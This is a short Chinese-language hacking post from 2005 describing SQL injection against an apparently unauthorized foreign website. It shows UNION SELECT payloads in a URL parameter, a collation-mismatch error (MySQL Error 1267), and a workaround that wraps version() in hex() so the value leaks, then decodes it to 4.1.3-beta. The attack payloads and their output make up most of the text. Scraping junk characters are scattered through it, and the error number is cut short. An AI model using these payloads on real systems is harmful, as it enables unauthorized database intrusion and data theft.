MySQL注射时ErrorNo.1267的突破

admin

本文作者：SuperHei
文章性质：原创
发布日期：2005-10-18
测试个国外的站时：
url：?c_id=2%20and%201=2%20union%20select%201,version(),3,4,5,6%20/*
( |& B! t9 e6 E! T9 W3 K! n" Z: l返回错误：
0 Q+ j# W% v6 F' k& ^2 _Illegal mix of collations (euckr_korean_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION'
MySQL Error No. 126
+ _3 g2 W/ ]/ T7 c看来是union查询前后字符集（http://dev.mysql.com/doc/mysql/en/Charset-collation-charset.html）不同出现的。
解决办法：转为其他编码如hex。
url：?c_id=2%20and%201=2%20union%20select%201,hex(version()),3,4,5,6%20/*
/ M) t! Y  n  M9 d  j6 R成功得到hex(version())的值为：
8 c) v5 s5 }8 O  B( G342E312E332D62657461
9 ^  N" h- ]; S. z回Mysql查询下得到：
- U! u; `/ w0 qmysql> select 0x342E312E332D62657461;
5 O  a: o" M  Y/ d+------------------------+
; {6 A. J' s, [| 0x342E312E332D62657461 |
+------------------------+
| 4.1.3-beta |
8 G' o: O2 s" E$ Z. v+------------------------+
5 b4 j- X1 j5 o* H1 row in set (0.00 sec)